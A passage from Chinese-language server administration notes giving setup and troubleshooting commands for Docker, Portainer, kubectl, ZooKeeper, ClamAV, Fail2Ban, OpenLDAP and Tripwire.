ERROR: Failed to Setup IP tables: Unable to enable SKIP DNAT rule 原因是关闭防火墙之后 docker 需要重启,执行以下命令重启 docker 即可: ```bash systemctl daemon-reload service docker restart ``` - ERROR: Service 'xxxxxx' failed to build : Get https://registry-1.docker.io/v2/: dial tcp: lookup registry-1.docker.io on xx.xx.xx.xx: server misbehaving dns 服务器的错误,把 dns 服务器改下就行 ```bash vim /etc/resolv.conf nameserver 1.1.1.1 ``` - [3927] Error loading Python lib '/tmp/_MEIuQps8Y/libpython3.9.so.1.0': dlopen: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.28' not found (required by /tmp/_MEIuQps8Y/libpython3.9.so.1.0) python 版本的问题, 换 python3.7 以上或用 pip 安装即可 **更多内容** - [Docker-Compose](./实验/Docker-Compose.md) #### Docker-Portainer <p align="center"> <img src="../../../assets/img/logo/Portainer.png" width="30%"> </p> > Portainer 是 Docker 一款可视化管理用具,部署简单,推荐。 **官网** - https://www.portainer.io/ **部署** ```bash docker pull portainer/portainer # 拉取镜像 docker volume create portainer_data docker run -d -p 8000:8000 -p 9000:9000 --name=portainer --restart=always -v /var/run/docker.sock:/var/run/docker.sock -v portainer_data:/data portainer/portainer-ce # 部署 ``` 访问 ip:9000 进入到设置密码界面. #### ctop > 用于 docker 版的 top **仓库地址** - https://github.com/bcicen/ctop --- ### Kubernetes #### kubectl **显示和查找资源** ```bash kubectl get services # 列出所有 namespace 中的所有 service kubectl get pods -A # 列出所有 namespace 中的所有 pod kubectl get pods -o wide # 列出所有 pod 并显示详细信息 kubectl get deployment -A # 列出所有 deployment ``` **与运行中的 Pod 交互** ```bash kubectl logs my-pod # 获取 pod 日志(标准输出) kubectl logs -l name=myLabel # 获取含 name=myLabel 标签的 Pods 的日志(标准输出) kubectl logs my-pod --previous # 获取上个容器实例的 pod 日志(标准输出) kubectl logs my-pod -c my-container # 获取 Pod 容器的日志(标准输出, 多容器场景) kubectl logs -l name=myLabel -c my-container # 获取含 name=myLabel 标签的 Pod 容器日志(标准输出, 多容器场景) kubectl logs my-pod -c my-container --previous # 获取 Pod 中某容器的上个实例的日志(标准输出, 多容器场景) kubectl logs -f my-pod # 流式输出 Pod 的日志(标准输出) kubectl logs -f my-pod -c my-container # 流式输出 Pod 容器的日志(标准输出, 多容器场景) kubectl logs -f -l name=myLabel --all-containers # 流式输出含 name=myLabel 标签的 Pod 的所有日志(标准输出) kubectl run -i --tty busybox --image=busybox:1.28 -- sh # 以交互式 Shell 运行 Pod kubectl run nginx --image=nginx -n mynamespace # 在 “mynamespace” 命名空间中运行单个 nginx Pod kubectl run nginx --image=nginx # 运行 ngins Pod 并将其规约写入到名为 pod.yaml 的文件 --dry-run=client -o yaml > pod.yaml kubectl attach my-pod -i # 挂接到一个运行的容器中 kubectl port-forward my-pod 5000:6000 # 在本地计算机上侦听端口 5000 并转发到 my-pod 上的端口 6000 kubectl exec my-pod -- ls / # 在已有的 Pod 中运行命令(单容器场景) kubectl exec --stdin --tty my-pod -- /bin/sh # 使用交互 shell 访问正在运行的 Pod (一个容器场景) kubectl exec my-pod -c my-container -- ls / # 在已有的 Pod 中运行命令(多容器场景) kubectl top pod POD_NAME --containers # 显示给定 Pod 和其中容器的监控数据 kubectl top pod POD_NAME --sort-by=cpu # 显示给定 Pod 的指标并且按照 'cpu' 或者 'memory' 排序 ``` **从容器中复制文件和目录** ```bash kubectl cp /tmp/foo_dir my-pod:/tmp/bar_dir # 将 /tmp/foo_dir 本地目录复制到远程当前命名空间中 Pod 中的 /tmp/bar_dir kubectl cp /tmp/foo my-pod:/tmp/bar -c my-container # 将 /tmp/foo 本地文件复制到远程 Pod 中特定容器的 /tmp/bar 下 kubectl cp /tmp/foo my-namespace/my-pod:/tmp/bar # 将 /tmp/foo 本地文件复制到远程 “my-namespace” 命名空间内指定 Pod 中的 /tmp/bar kubectl cp my-namespace/my-pod:/tmp/foo /tmp/bar # 将 /tmp/foo 从远程 Pod 复制到本地 /tmp/bar ``` > kubectl cp 要求容器镜像中存在 “tar” 二进制文件。如果 “tar” 不存在,kubectl cp 将失败 **与节点和集群进行交互** ```bash kubectl cordon my-node # 标记 my-node 节点为不可调度 kubectl drain my-node # 对 my-node 节点进行清空操作,为节点维护做准备 kubectl uncordon my-node # 标记 my-node 节点为可以调度 kubectl top node my-node # 显示给定节点的度量值 kubectl cluster-info # 显示主控节点和服务的地址 kubectl cluster-info dump # 将当前集群状态转储到标准输出 kubectl cluster-info dump --output-directory=/path/to/cluster-state # 将当前集群状态输出到 /path/to/cluster-state # 如果已存在具有指定键和效果的污点,则替换其值为指定值。 kubectl taint nodes foo dedicated=special-user:NoSchedule ``` --- ### QEMU <p align="center"> <img src="../../../assets/img/logo/QEMU.png" width="25%"> </p> > QEMU 是一款开源的模拟器及虚拟机监管器。QEMU 主要提供两种功能给用户使用。一是作为用户态模拟器,利用动态代码翻译机制来执行不同于主机架构的代码。二是作为虚拟机监管器,模拟全系统,利用其他VMM(Xen, KVM, etc)来使用硬件提供的虚拟化支持,创建接近于主机性能的虚拟机。 **官网** - https://www.qemu.org/ **项目地址** - https://github.com/qemu/QEMU **安装** - Centos下 ```bash yum install -y qemu ``` - Ubuntu下 ```bash apt-get install -y qemu ``` --- ## 分布式 ### ZooKeeper <p align="center"> <img src="../../../assets/img/logo/ZooKeeper.png" width="35%"> <p align="center">这个Logo是什么鬼啊🤣🤣🤣,笑死我了 </p> **官网** - https://zookeeper.apache.org/ **安装** 依赖 jdk,安装过程见 [JDK](#jdk) zookeeper 支持两种运行模式:独立模式(standalone)和复制模式(replicated). 真正用于生产环境的 Zookeeper 肯定都是使用复制模式的,这样做可以避免单点问题.想要使用复制模式,但由于没有富余的机器能够使用,所以可以在单台机器上通过配置来使用复制模式,从而模拟真实的集群环境. 由于 Zookeeper 集群是通过多数选举的方式产生 leader 的,因此,集群需要奇数个 Zookeeper 实例组成,也就是说至少需要3台(1台不能算"群"). 这里配置的为 `独立模式` ```bash wget https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/zookeeper-3.4.14/zookeeper-3.4.14.tar.gz mkdir /usr/local/zookeeper tar -zxvf zookeeper-3.4.14.tar.gz -C /usr/local/zookeeper/ cd /usr/local/zookeeper/zookeeper-3.4.14/conf/ cp zoo_sample.cfg zoo.cfg ``` 创建数据存储目录与日志目录 ```bash mkdir /usr/local/zookeeper/zookeeper-3.4.14/dataDir mkdir /usr/local/zookeeper/zookeeper-3.4.14/dataLogDir ``` 修改数据存储和日志目录 ```vim vim /usr/local/zookeeper/zookeeper-3.4.14/conf/zoo.cfg dataDir=/usr/local/zookeeper/zookeeper-3.4.14/dataDir dataLogDir=/usr/local/zookeeper/zookeeper-3.4.14/dataLogDir ``` ```bash # 启动 /usr/local/zookeeper/zookeeper-3.4.14/bin/zkServer.sh start # 连接 /usr/local/zookeeper/zookeeper-3.4.14/bin/zkCli.sh ``` --- ## 安全服务 ### ClamAV <p align="center"> <img src="../../../assets/img/logo/ClamAV.webp" width="25%"> </p> > 一个开源防病毒引擎,用于检测木马,病毒,恶意软件和其他恶意威胁. **官网** - https://www.clamav.net **编译安装** 推荐编译安装,时间长点,起码步骤不繁琐 安装 ```bash yum -y install gcc-c++ pcre-devel zlib-devel openssl-devel llvm-devel libxml2 libxml2-devel libcurl-devel libcurl wget https://www.clamav.net/downloads/production/clamav-0.102.2.tar.gz tar -zxvf clamav-0.102.2.tar.gz cd clamav-0.102.2 ./configure --prefix=/opt/clamav --disable-clamonacc # 忽略 libcurl 库的更新问题 make && make install ``` ```bash # 添加用户组 clamav 和组成员 clamav groupadd clamav useradd -g clamav -s /bin/false clamav # 创建目录 mkdir /opt/clamav/logs mkdir /opt/clamav/updata # 创建文件 touch /opt/clamav/logs/freshclam.log touch /opt/clamav/logs/clamd.log # 初始化配置文件 cp /opt/clamav/etc/clamd.conf.sample /opt/clamav/etc/clamd.conf cp /opt/clamav/etc/freshclam.conf.sample /opt/clamav/etc/freshclam.conf ``` 编辑配置文件 ```vim vim /opt/clamav/etc/clamd.conf # Example 注释掉这一行 增加以下内容 LogFile /opt/clamav/logs/clamd.log PidFile /opt/clamav/updata/clamd.pid DatabaseDirectory /opt/clamav/updata ``` ```vim vim /opt/clamav/etc/freshclam.conf # Example 注释掉这一行 ``` 升级病毒库 ```bash mkdir -p /opt/clamav/share/clamav chown clamav:clamav /opt/clamav/share/clamav /opt/clamav/bin/freshclam ``` 使用 ```bash /opt/clamav/bin/clamscan -h # 查看相应的帮助信息 /opt/clamav/bin/clamscan -r / # 扫描计算机上的所有文件并且显示所有的文件的扫描结果 /opt/clamav/bin/clamscan -r --bell -i /. # 扫描计算机上的所有文件并且显示有问题的文件的扫描结果 /opt/clamav/bin/clamscan -r /home # 扫描所有用户的主目录 ``` **yum 安装** 以下部分内容来自 <sup>[[Centos7安装和使用ClamAV杀毒软件](https://blog.51cto.com/11199460/2083697)]</sup> ```bash yum install -y epel-release yum install -y clamav-server clamav-data clamav-update clamav-filesystem clamav clamav-scanner-systemd clamav-devel clamav-lib clamav-server-systemd # 在两个配置文件 /etc/freshclam.conf 和 /etc/clamd.d/scan.conf 中移除"Example"字符 cp /etc/freshclam.conf /etc/freshclam.conf.bak sed -i -e "s/^Example/#Example/" /etc/freshclam.conf cp /etc/clamd.d/scan.conf /etc/clamd.d/scan.conf.bak sed -i -e "s/^Example/#Example/" /etc/clamd.d/scan.conf ``` 关闭自动更新,freshclam 命令通过文件 /etc/cron.d/clamav-update 来自动运行 但默认情况下是禁止了自动更新功能,需要移除文件 /etc/sysconfig/freshclam 最后一行的配置才能启用 ```vim vim /etc/sysconfig/freshclam # FRESHCLAM_DELAY= ``` 定义服务器类型 (本地或者 TCP) ,在这里定义为使用本地 socket,将文件 /etc/clam.d/scan.conf 中的这一行前面的注释符号去掉: ```vim vim /etc/clamd.d/scan.conf LocalSocket /var/run/clamd.scan/clamd.sock ``` 下载病毒库 https://www.clamav.net/downloads 将 main.cvd\daily.cvd\bytecode.cvd 三个文件下载后上传到 /var/lib/clamav 目录下 ```bash wget http://database.clamav.net/main.cvd wget http://database.clamav.net/daily.cvd wget http://database.clamav.net/bytecode.cvd mv main.cvd /var/lib/clamav -f mv daily.cvd /var/lib/clamav -f mv bytecode.cvd /var/lib/clamav -f ``` ```vim vim /etc/freshclam.conf DatabaseDirectory /var/lib/clamav ``` ```bash systemctl enable clamd@scan.service ln -s '/usr/lib/systemd/system/clamd@scan.service' '/etc/systemd/system/multi-user.target.wants/clamd@scan.service' ``` 更新病毒库 ```bash vim /usr/lib/systemd/system/clam-freshclam.service # Run the freshclam as daemon [Unit] Description = freshclam scanner After = network.target [Service] Type = forking ExecStart = /usr/bin/freshclam -d -c 4 Restart = on-failure PrivateTmp = true [Install] WantedBy=multi-user.target ``` ```bash systemctl start clam-freshclam.service systemctl status clam-freshclam.service freshclam systemctl enable clam-freshclam.service cp /usr/share/clamav/template/clamd.conf /etc/clamd.conf ``` ```vim vim /etc/clamd.conf TCPSocket 3310 TCPAddr 127.0.0.1 ``` ```bash /usr/sbin/clamd restart clamdscan -V systemctl start clamd@scan.service systemctl status clamd@scan.service ``` 查看病毒库版本 ```bash clamdscan -V ``` 升级病毒库 ```bash freshclam --verbose ``` 查杀病毒 ```bash clamscan -r /home # 扫描所有用户的主目录就使用 clamscan -r --bell -i / # 扫描所有文件并且显示有问题的文件的扫描结果 clamscan -r --remove # 查杀当前目录并删除感染的文件 # 递归扫描 home 目录,并且记录日志 clamscan -r -i /home -l /var/log/clamscan.log # 递归扫描 home 目录,将病毒文件删除,并且记录日志 clamscan -r -i /home --remove -l /var/log/clamscan.log # 扫描指定目录,然后将感染文件移动到指定目录,并记录日志 clamscan -r -i /home --move=/opt/infected -l /var/log/clamscan.log ``` --- ### Fail2Ban <p align="center"> <img src="../../../assets/img/logo/Fail2Ban.jpg" width="25%"> </p> > 禁止导致多次身份验证错误的主机 **项目地址** - https://github.com/fail2ban/fail2ban 以下部分内容来自 <sup>[[如何使用 fail2ban 防御 SSH 服务器的暴力破解攻击](https://linux.cn/article-5067-1.html)]</sup> **安装** - RHEL ```bash yum install -y fail2ban ``` - Debian ```bash apt install -y fail2ban ``` **编辑配置文件** ```vim vim /etc/fail2ban/jail.conf [DEFAULT] # 以空格分隔的列表,可以是 IP 地址、CIDR 前缀或者 DNS 主机名 # 用于指定哪些地址可以忽略 fail2ban 防御 ignoreip = 127.0.0.1 172.31.0.0/24 10.10.0.0/24 192.168.0.0/24 # 客户端主机被禁止的时长 (秒) ,-1代表永远 bantime = 10m # 客户端主机被禁止前允许失败的次数 maxretry = 5 # 间隔时间 (秒) ,间隔时间内超过最大尝试次数即被封锁 findtime = 10m mta = sendmail [ssh-iptables] enabled = true filter = sshd action = iptables[name=SSH, port=ssh, protocol=tcp] sendmail-whois[name=SSH, dest=your@email.com, sender=fail2ban@email.com] # Debian 系的发行版 logpath = /var/log/auth.log # Red Hat 系的发行版 logpath = /var/log/secure # ssh 服务的最大尝试次数 maxretry = 3 ``` 根据上述配置,fail2ban 会自动禁止在最近 10 分钟内有超过 3 次访问尝试失败的任意 IP 地址.一旦被禁,这个 IP 地址将会在 24 小时内一直被禁止访问 SSH 服务.这个事件也会通过 sendemail 发送邮件通知. **测试** ```bash service fail2ban restart # 为了验证 fail2ban 成功运行,使用参数'ping'来运行 fail2ban-client 命令. 如果 fail2ban 服务正常运行,你可以看到"pong (嘭) "作为响应. fail2ban-client ping ``` 为了测试 fail2ban 是否能正常工作,尝试通过使用错误的密码来用 SSH 连接到服务器模拟一个暴力破解攻击.与此同时,监控 `/var/log/fail2ban.log` ,该文件记录在 fail2ban 中发生的任何敏感事件. ```bash tail -f /var/log/fail2ban.log 2019-07-24 23:33:34,369 fail2ban.jail [14760]: INFO Initiated 'pyinotify' backend 2019-07-24 23:33:34,370 fail2ban.filter [14760]: INFO maxLines: 1 2019-07-24 23:33:34,372 fail2ban.server [14760]: INFO Jail ssh-iptables is not a JournalFilter instance 2019-07-24 23:33:34,373 fail2ban.filter [14760]: INFO Added logfile: '/var/log/auth.log' (pos = 0, hash = de62b1aacfb0f9a9082c515fe3cdb77214101d93) 2019-07-24 23:33:34,377 fail2ban.filter [14760]: INFO encoding: UTF-8 2019-07-24 23:33:34,378 fail2ban.filter [14760]: INFO maxRetry: 3 2019-07-24 23:33:34,378 fail2ban.filter [14760]: INFO findtime: 600 2019-07-24 23:33:34,378 fail2ban.actions [14760]: INFO banTime: 600 2019-07-24 23:33:34,381 fail2ban.jail [14760]: INFO Jail 'sshd' started 2019-07-24 23:33:34,382 fail2ban.jail [14760]: INFO Jail 'ssh-iptables' started 2019-07-24 23:35:58,780 fail2ban.filter [14760]: INFO [ssh-iptables] Found 192.168.72.130 - 2019-07-24 23:35:58 2019-07-24 23:36:00,397 fail2ban.filter [14760]: INFO [ssh-iptables] Found 192.168.72.130 - 2019-07-24 23:36:00 2019-07-24 23:36:03,811 fail2ban.filter [14760]: INFO [sshd] Found 192.168.72.130 - 2019-07-24 23:35:58 2019-07-24 23:36:03,812 fail2ban.filter [14760]: INFO [sshd] Found 192.168.72.130 - 2019-07-24 23:36:00 2019-07-24 23:36:04,266 fail2ban.filter [14760]: INFO [sshd] Found 192.168.72.130 - 2019-07-24 23:36:04 2019-07-24 23:36:04,310 fail2ban.filter [14760]: INFO [ssh-iptables] Found 192.168.72.130 - 2019-07-24 23:36:04 2019-07-24 23:36:04,778 fail2ban.actions [14760]: NOTICE [ssh-iptables] Ban 192.168.72.130 ``` 根据上述的日志文件,Fail2ban 通过检测 IP 地址的多次失败登录尝试,禁止了一个 IP 地址 192.168.72.130 **解禁 IP** 由于 fail2ban 的"ssh-iptables"监狱使用 iptables 来阻塞问题 IP 地址,你可以通过以下方式来检测当前 iptables 来验证禁止规则. ```bash iptables --list -n iptables -D fail2ban-SSH -s 192.168.72.130 -j DROP ``` 当然你可以使用上述的 iptables 命令手动地检验和管理 fail2ban 的 IP 阻塞列表,但实际上有一个适当的方法就是使用 fail2ban-client 命令行工具.这个命令不仅允许你对"ssh-iptables"监狱进行管理,同时也是一个标准的命令行接口,可以管理其他类型的 fail2ban 监狱. ```bash fail2ban-client status # 检验 fail2ban 状态 fail2ban-client status ssh-iptables # 检验一个特定监狱的状态 fail2ban-client set ssh-iptables unbanip 192.168.72.130 # 解锁特定的 IP 地址 ``` 注意,如果你停止了 Fail2ban 服务,那么所有的 IP 地址都会被解锁.当你重启 Fail2ban,它会从 `/etc/log/secure`(或 `/var/log/auth.log`)中找到异常的 IP 地址列表,如果这些异常地址的发生时间仍然在禁止时间内,那么 Fail2ban 会重新将这些 IP 地址禁止. --- ### OpenLDAP <p align="center"> <img src="../../../assets/img/logo/OpenLDAP.png" width="25%"> </p> > OpenLDAP 是轻型目录访问协议(Lightweight Directory Access Protocol,LDAP)的自由和开源的实现,在其 OpenLDAP 许可证下发行,并已经被包含在众多流行的 Linux 发行版中。 以下部分内容来自 <sup>[[Centos7 搭建openldap完整详细教程](https://blog.csdn.net/weixin_41004350/article/details/89521170)]</sup> 仅作排版处理和部分内容处理 **安装** ```bash yum install -y openldap openldap-clients openldap-servers # 复制一个默认配置到指定目录下,并授权,这一步一定要做,然后再启动服务,不然生产密码时会报错 cp /usr/share/openldap-servers/DB_CONFIG.example /var/lib/ldap/DB_CONFIG # 授权给 ldap 用户,此用户 yum 安装时便会自动创建 chown -R ldap. /var/lib/ldap/DB_CONFIG ``` ```bash systemctl start slapd # 启动服务,先启动服务,配置后面再进行修改 systemctl enable slapd systemctl status slapd # 查看状态,正常启动则ok ``` **修改配置** openldap2.4.23 版本开始,所有配置都保存在 `/etc/openldap/slapd.d` 目录下的 cn=config 文件夹内,不再使用 slapd.conf 作为配置文件。配置文件的后缀为 ldif,且每个配置文件都是通过命令自动生成的,任意打开一个配置文件,在开头都会有一行注释,说明此为自动生成的文件,请勿编辑,使用 ldapmodify 命令进行修改 `# AUTO-GENERATED FILE - DO NOT EDIT!! Use ldapmodify.` 安装 openldap 后,会有三个命令用于修改配置文件,分别为 ldapadd, ldapmodify, ldapdelete,顾名思义就是添加,修改和删除。而需要修改或增加配置时,则需要先写一个 ldif 后缀的配置文件,然后通过命令将写的配置更新到 `slapd.d` 目录下的配置文件中去 生成管理员密码 ```bash slappasswd -s 123456 {SSHA}qG8fxSKCrgt0KiN8cwQMzvymgQLJeh/k ``` 新增修改密码文件,ldif 为后缀,文件名随意,不要在 /etc/openldap/slapd.d/ 目录下创建类似文件,生成的文件为需要通过命令去动态修改 ldap 现有配置,如下 ```diff cd ~ vim changepwd.ldif + dn: olcDatabase={0}config,cn=config + changetype: modify + add: olcRootPW + olcRootPW: {SSHA}qG8fxSKCrgt0KiN8cwQMzvymgQLJeh/k ``` - 第一行执行配置文件,这里就表示指定为 cn=config/olcDatabase={0}config 文件。你到 `/etc/openldap/slapd.d/` 目录下就能找到此文件 - 第二行 changetype 指定类型为修改 - 第三行 add 表示添加 olcRootPW 配置项 - 第四行指定 olcRootPW 配置项的值 在执行下面的命令前,你可以先查看原本的 olcDatabase={0}config 文件,里面是没有 olcRootPW 这个项的,执行命令后,你再看就会新增了 olcRootPW 项,而且内容是我们文件中指定的值加密后的字符串 执行命令,修改 ldap 配置,通过 -f 执行文件 ```bash ldapadd -Y EXTERNAL -H ldapi:/// -f changepwd.ldif ``` 执行修改命令后,有类似如下输出则为正常 ``` SASL/EXTERNAL authentication started SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth SASL SSF: 0 modifying entry "olcDatabase={0}config,cn=config" ``` 查看 olcDatabase={0}config 内容,应该会新增了一个 olcRootPW 项 ```bash cat /etc/openldap/slapd.d/cn\=config/olcDatabase\=\{0\}config.ldif ``` 上面就是一个完整的修改配置的过程,切记不能直接修改 `/etc/openldap/slapd.d/` 目录下的配置。 我们需要向 LDAP 中导入一些基本的 Schema。这些 Schema 文件位于 `/etc/openldap/schema/` 目录中,schema 控制着条目拥有哪些对象类和属性,可以自行选择需要的进行导入, 依次执行下面的命令,导入基础的一些配置,我这里将所有的都导入一下,其中 core.ldif 是默认已经加载了的,不用导入 ```bash ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/cosine.ldif ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/nis.ldif ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/inetorgperson.ldif ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/collective.ldif ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/corba.ldif ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/duaconf.ldif ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/dyngroup.ldif ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/java.ldif ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/misc.ldif ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/openldap.ldif ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/pmi.ldif ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/ppolicy.ldif ``` 修改域名,新增 changedomain.ldif, 这里我自定义的域名为 fox.com,管理员用户账号为 admin。 如果要修改,则修改文件中相应的 dc=fox,dc=com 为自己的域名 ```diff vim changedomain.ldif + dn: olcDatabase={1}monitor,cn=config + changetype: modify + replace: olcAccess + olcAccess: {0}to * by dn.base="gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth" read by dn.base="cn=admin,dc=fox,dc=com" read by * none + dn: olcDatabase={2}hdb,cn=config + changetype: modify + replace: olcSuffix + olcSuffix: dc=fox,dc=com + dn: olcDatabase={2}hdb,cn=config + changetype: modify + replace: olcRootDN + olcRootDN: cn=admin,dc=fox,dc=com + dn: olcDatabase={2}hdb,cn=config + changetype: modify + replace: olcRootPW + olcRootPW: {SSHA}qG8fxSKCrgt0KiN8cwQMzvymgQLJeh/k + dn: olcDatabase={2}hdb,cn=config + changetype: modify + add: olcAccess + olcAccess: {0}to attrs=userPassword,shadowLastChange by dn="cn=admin,dc=fox,dc=com" write by anonymous auth by self write by * none + olcAccess: {1}to dn.base="" by * read + olcAccess: {2}to * by dn="cn=admin,dc=fox,dc=com" write by * read ``` 执行命令,修改配置 ```bash ldapmodify -Y EXTERNAL -H ldapi:/// -f changedomain.ldif ``` 然后,启用 memberof 功能,新增 add-memberof.ldif, 开启 memberof 支持并新增用户支持 memberof 配置 ```diff vim add-memberof.ldif + dn: cn=module{0},cn=config + cn: modulle{0} + objectClass: olcModuleList + objectclass: top + olcModuleload: memberof.la + olcModulePath: /usr/lib64/openldap + dn: olcOverlay={0}memberof,olcDatabase={2}hdb,cn=config + objectClass: olcConfig + objectClass: olcMemberOf + objectClass: olcOverlayConfig + objectClass: top + olcOverlay: memberof + olcMemberOfDangling: ignore + olcMemberOfRefInt: TRUE + olcMemberOfGroupOC: groupOfUniqueNames + olcMemberOfMemberAD: uniqueMember + olcMemberOfMemberOfAD: memberOf ``` 新增 refint1.ldif 文件 ```diff vim refint1.ldif + dn: cn=module{0},cn=config + add: olcmoduleload + olcmoduleload: refint ``` 新增 refint2.ldif 文件 ```diff vim refint2.ldif + dn: olcOverlay=refint,olcDatabase={2}hdb,cn=config + objectClass: olcConfig + objectClass: olcOverlayConfig + objectClass: olcRefintConfig + objectClass: top + olcOverlay: refint + olcRefintAttribute: memberof uniqueMember manager owner ``` 依次执行下面命令,加载配置,顺序不能错 ```bash ldapadd -Q -Y EXTERNAL -H ldapi:/// -f add-memberof.ldif ldapmodify -Q -Y EXTERNAL -H ldapi:/// -f refint1.ldif ldapadd -Q -Y EXTERNAL -H ldapi:/// -f refint2.ldif ``` 到此,配置修改完了,在上述基础上,我们来创建一个叫做 fox company 的组织,并在其下创建一个 admin 的组织角色(该组织角色内的用户具有管理整个 LDAP 的权限)和 People 和 Group 两个组织单元,新增配置文件 ```diff vim base.ldif + dn: dc=fox,dc=com + objectClass: top + objectClass: dcObject + objectClass: organization + o: Fox Company + dc: fox + dn: cn=admin,dc=fox,dc=com + objectClass: organizationalRole + cn: admin + dn: ou=People,dc=fox,dc=com + objectClass: organizationalUnit + ou: People + dn: ou=Group,dc=fox,dc=com + objectClass: organizationalRole + cn: Group ``` 执行命令,添加配置, 这里要注意修改域名为自己配置的域名,然后需要输入上面我们生成的密码 ```bash ldapadd -x -D cn=admin,dc=fox,dc=com -W -f base.ldif # 这里是 123456 ``` 通过以上的所有步骤,我们就设置好了一个 LDAP 目录树:其中基准 dc=fox,dc=com 是该树的根节点,其下有一个管理域 cn=admin,dc=fox,dc=com 和两个组织单元 ou=People,dc=fox,dc=com 及 ou=Group,dc=fox,dc=com。 **测试连接** 这里先关一下防火墙 ``` service firewalld stop ``` 连接工具使用 LdapAdmin #### PhpLdapAdmin <p align="center"> <img src="../../../assets/img/logo/PhpLdapAdmin.png" width="25%"> </p> 以下部分内容来自 <sup>[[LDAP安装和基本管理手记](https://neversec.top/20180329/LDAP安装和基本管理手记.html)]</sup> 仅作排版处理和部分内容处理 ```bash yum -y install epel-release yum -y install httpd yum -y install phpldapadmin ``` ```diff vim /etc/httpd/conf.d/phpldapadmin.conf + Alias /phpldapadmin /usr/share/phpldapadmin/htdocs + Alias /ldapadmin /usr/share/phpldapadmin/htdocs + <Directory /usr/share/phpldapadmin/htdocs> + <IfModule mod_authz_core.c> + # Apache 2.4 + Require all granted + Allow from all + </IfModule> + <IfModule !mod_authz_core.c> + # Apache 2.2 + Order Deny,Allow + Allow from all + </IfModule> + </Directory> ``` ```diff vim /etc/phpldapadmin/config.php # 去掉注释 并删除原来的配置 + $servers->setValue('login','attr','dn'); - $servers->setValue('login','attr','uid'); ``` ```bash #重启服务 systemctl restart httpd ``` 访问 `http://ip/ldapadmin`,点击登录。CN 填写域信息`cn=admin,dc=fox,dc=com`,密码填写自己设置的密码。 --- ### Snort Snort 搭建与使用内容访问 [安防设施搭建使用](../../Security/BlueTeam/实验/安防设施搭建使用.md#snort) Snort 部分 --- ### Suricata Suricata 搭建与使用内容访问 [安防设施搭建使用](../../Security/BlueTeam/实验/安防设施搭建使用.md#suricata) Suricata 部分 --- ### tripwire **描述** 当服务器遭到黑客攻击时,在多数情况下,黑客可能对系统文件等等一些重要的文件进行修改。对此,我们用 Tripwire 建立数据完整性监测系统。虽然 它不能抵御黑客攻击以及黑客对一些重要文件的修改,但是可以监测文件是否被修改过以及哪些文件被修改过,从而在被攻击后有的放矢的策划出解决办法。 Tripwire 的原理是 Tripwire 被安装、配置后,将当前的系统数据状态建立成数据库,随着文件的添加、删除和修改等等变化,通过系统数据现 状与不断更新的数据库进行比较,来判定哪些文件被添加、删除和修改过。正因为初始的数据库是在 Tripwire 本体被安装、配置后建立的原因,我们务必应 该在服务器开放前,或者说操作系统刚被安装后用 Tripwire 构建数据完整性监测系统。 Tripwire 可以对要求校验的系统文件进行类似 md5 的运行,而生成一个唯一的标识,即 "快照"snapshot。当这些系统文件的大小、inode 号、权限、时间等任意属性被修改后,再次运行 Tripwire,其会进行前后属性的对比,并生成相关的详细报告。 **项目地址** - http://sourceforge.net/projects/tripwire/files/ **安装** ```bash yum install -y gcc-c++ yum install -y glibc-headers # 下载 wget https://jaist.dl.sourceforge.net/project/tripwire/tripwire-src/tripwire-2.4.2.2/tripwire-2.4.2.2-src.tar.bz2 # 解压 tar -jxvf tripwire-2.4.2.2-src.tar.bz2 cd tripwire-2.4.2.2-src ./configure --prefix=/opt/tripwire # 设置安装目录 # 编译并安装 make make install ``` ```bash license agreement. [do not accept] accept # 输入 "accept" 同意协议。 Continue with installation? [y/n] y # 键入 y 继续安装。 Enter the site keyfile passphrase: # 输入 "site keyfile" 口令(输入后不会显示),并且记住这个口令。 Verify the site keyfile passphrase: # 再次确认 "site keyfile" 口令。 Enter the local keyfile passphrase: # 输入 "local keyfile" 口令(输入后不会显示),并且记住这个口令。 Verify the local keyfile passphrase: # 再次确认 "local keyfile" 口令。 Please enter your site passphrase: # 输入 "site keyfile" 口令(输入后不会显示)第一次。 Please enter your site passphrase: # 输入 "site keyfile" 口令(输入后不会显示)第二次。 ``` **文件说明** 配置文件:定义数据库、策略文件和 Tripwire 可执行文件的位置: ``` /opt/tripwire/etc/twcfg.txt ``` 策略:定义检测的对象及违规时采取的行为: ``` /opt/tripwire/etc/twpol.txt ``` 数据库:用于存放生成的快照: ``` /opt/tripwire/lib/tripwire/$(HOSTNAME).twd ``` Tripwire 为了自身的安全,防止自身被篡改,也会对自身进行加密和签名处理。其中,包括两个密钥: * site 密钥:用于保护策略文件和配置文件,只要使用相同的策略和配置的机器,都可以使用相同的 site 密钥: ``` /usr/local/tripwire/etcsite.key ``` * local 密钥:用户保护数据库和分析报告,这肯定不会重复的: ``` /usr/local/tripwire/etc/$(HOSTNAME)-local.key ``` **设置 tripwire** 编辑 twcfg.txt 文件 ```bash vim /opt/tripwire/etc/twcfg.txt LOOSEDIRECTORYCHECKING =false  # 将 false 的值变为 true(不监测所属目录的数据完整性) LOOSEDIRECTORYCHECKING =true   # 变为此状态 REPORTLEVEL =3  # 将3变为4(改变监测结果报告的等级) REPORTLEVEL =4  # 变为此状态 ``` 建立加密格式 ```bash cd /opt/tripwire/etc /opt/tripwire/sbin/twadmin --create-cfgfile -S site.key twcfg.txt # 从文本配置文件建立加密格式配 Please enter your site passphrase: # 输入“site keyfile”口令 ``` **初始化数据库** ```bash /opt/tripwire/sbin/tripwire --init # 初始化数据库 Please enter your local passphrase: # 输入“local keyfile”口令 ``` **更新数据库** 当你更新了 twpol.txt 后需用此命令更新数据库 ```bash cd /opt/tripwire ./sbin/tripwire 